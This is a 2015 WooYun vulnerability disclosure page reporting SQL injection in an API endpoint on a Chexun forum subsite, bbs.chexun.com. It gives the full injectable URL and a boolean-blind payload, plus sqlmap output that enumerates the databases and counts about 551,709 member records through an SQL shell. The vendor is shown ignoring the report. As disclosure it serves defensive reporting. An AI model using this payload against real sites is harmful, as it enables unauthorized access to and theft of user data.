当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0148604

漏洞标题:车讯网分站注入涉及整站会员数据

相关厂商:车讯网

漏洞作者: 路人甲

提交时间:2015-10-22 15:57

修复时间:2015-10-27 15:58

公开时间:2015-10-27 15:58

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-22: 细节已通知厂商并且等待厂商处理中
2015-10-27: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

车讯网分站注入,导致整站会员数据可被拖

详细说明:

注入点
http://bbs.chexun.com/api/userfav.php?uid=null&type=2&id=3004&callback=collectStatus2&m=getishave
参数id type uid 均可注入,mysql数据库

漏洞证明:

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://bbs.chexun.com:80/api/userfav.php?uid=null&type=2&id=3004 and 1=if(1=1 AND 4969=4969,1,(select 1 union select 2))&callback=collectStatus2&m=getishave
---
[04:51:55] [INFO] testing MySQL
[04:51:55] [INFO] confirming MySQL
[04:51:55] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[04:51:55] [INFO] fetching database names
[04:51:55] [INFO] fetching number of databases
[04:51:55] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[04:51:55] [INFO] retrieved: 3
[04:51:56] [INFO] retrieved: information_schem
[04:52:16] [INFO] heuristics detected web page charset 'ascii'
sqlmap got a 302 redirect to 'http://www.chexun.com'. Do you want to follow? [Y/n] n
a
[04:53:30] [INFO] retrieved: discuz
[04:53:35] [INFO] retrieved: test
available databases [3]:
[*] discuz
[*] information_schema
[*] test
看看会员数据
back-end DBMS: MySQL >= 5.0.0
[04:49:10] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
sql-shell> select count(*) from cdb_uc_members
[04:49:12] [INFO] fetching SQL SELECT statement query output: 'select count(*) from cdb_uc_members'
[04:49:12] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[04:49:12] [INFO] retrieved: 551709
select count(*) from cdb_uc_members: '551709'
sql-shell> exit

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-10-27 15:58

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论